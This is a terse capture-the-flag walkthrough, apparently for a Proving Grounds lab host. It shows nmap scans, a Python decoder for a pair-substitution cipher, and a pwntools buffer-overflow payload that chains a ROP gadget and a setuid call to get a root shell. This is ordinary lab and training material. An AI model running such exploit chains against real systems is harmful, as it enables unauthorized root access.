sudo nmap --min-rate 10000 -p- 10.10.110.6 -Pn Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-26 20:50 CST Nmap scan report for 10.10.110.6 Host is up (0.24s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 11.50 seconds
扫了好几次才扫出来。。。
sudo nmap -sT -sV -sC -O -p22,80 10.10.110.6 Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-26 20:51 CST Nmap scan report for 10.10.110.6 Host is up (0.23s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 60:b6:ad:4c:3e:f9:d2:ec:8b:cd:3b:45:a5:ac:5f:83 (RSA) | 256 6f:9a:be:df:fc:95:a2:31:8f:db:e5:a2:da:8a:0c:3c (ECDSA) |_ 256 e6:98:52:49:cf:f2:b8:65:d7:41:1c:83:2e:94:24:88 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Proving Grounds | http-robots.txt: 1 disallowed entry |_/zYdHuAKjP Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 3.10 (93%), Linux 5.4 (93%), Adtran 424RG FTTH gateway (92%), Asus RT-N10 router or AXIS 211A Network Camera (Linux 2.6) (91%), Linux 2.6.18 (91%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 21.78 seconds
# This loop iterates over all PAIRS of the alphabets, ignoring the '::'
for i in range(0,len(encoded),2): first_char = encoded[i] # Since the first char in all pairs is lowercase second_char = encoded[i+1].lower() # Since the second char in all pairs is uppercase
if first_char == ':': print(":",end="") continue first_alpha_position = ord(first_char) - ord('a') + 1 second_alpha_position = ord(second_char) - ord('a') + 1 decoded_alpha_position = (first_alpha_position + second_alpha_position) % 26 # The modulo operation takes care of the "imagine the list of alphabets arranged in a circular loop" part I was talking about decoded_alpha = all_alpha[decoded_alpha_position - 1] # Array indexes start at 0, yes? print(decoded_alpha,end="")
junk = b"A"*72 # Just some junk pop_ret = p64(0x00400773) # POP RDI; RET gadget zero = p64(0x0) # 0x00000000 to 'push' on to stack setuid = p64(0x004006c4) # setuid() call in call_bash
payload = junk + pop_ret + zero + setuid
# Getting root shell
proc.recvrepeat(0.1) # Receives the "Who do you want to hacK? " line proc.sendline(payload) # Sends the payload proc.interactive() # Gets an interactive shell
